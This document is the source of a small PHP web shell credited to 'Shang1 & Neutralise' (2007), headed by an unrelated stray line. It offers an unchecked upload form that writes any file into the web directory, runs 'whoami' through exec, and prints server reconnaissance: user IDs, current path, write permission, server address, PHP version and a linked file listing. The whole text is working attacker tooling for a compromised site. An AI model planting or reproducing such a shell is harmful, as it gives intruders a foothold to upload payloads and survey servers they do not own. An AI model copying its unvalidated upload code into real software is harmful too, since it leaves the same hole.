ISDBTree::SortChildren
<title>Shang1 & Neutralise</title> <body bgcolor="#808080" text="#000000" link="#000000" vlink="#000000">
!<img src="http://img294.imageshack.us/img294/290/shangro7.png" /> !
<form enctype="multipart/form-data" action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="post">
           <input type="hidden" name="MAX_FILE_SIZE" value="2048000">
         File :
         <input name="userfile" type="file" />
           
           <input name="submit" type="submit" value="Upload" />
              </form>
            <?php
         if (@is_uploaded_file($_FILES["userfile"]["tmp_name"])) {
copy($_FILES["userfile"]["tmp_name"], "" . $_FILES["userfile"]["name"]);
echo "File uploaded successfully
";} ?>
<?php
 closelog( );
 $user = get_current_user( );
 $login = posix_getuid( );
 $euid = posix_geteuid( );
 $ver = phpversion( );
 $gid = posix_getgid( );
 if ($chdir == "") $chdir = getcwd( );
 if(!$whoami)$whoami=exec("whoami");
?>
<?php $uname = posix_uname( ); while (list($info, $value) = each ($uname)) { ?> <?php } ?> <?php if ($handle = opendir('.')) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { $thelist .= '<a href="'.$file.'">'.$file.'</a>'; } } closedir($handle); } ?>
Operating System: <?echo PHP_OS;?>  | 
  
<?= $info ?>: <?= $value ?>  | 
  
User Info: uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)  | 
  
Current Path: <?= $chdir ?>  | 
  
Permission Directory: <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?>  | 
  
Server Services: <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?>  | 
  
Server Adress: <?= "$SERVER_ADDR $SERVER_NAME"; ?>  | 
  
Script Current User: <?= $user ?>  | 
  
PHP Version: <?= $ver ?>  | 
  
Server Time: <?echo date("d/m/Y/ h:i:s",time());?>  | 
  
Server Port: <?echo $_SERVER['SERVER_PORT'];?>  | 
  
Files in Directory: <?=$thelist?>  | 
  
**Windows Servers will error here**  | 
  
        
 Shang1 & Neutralise ©2007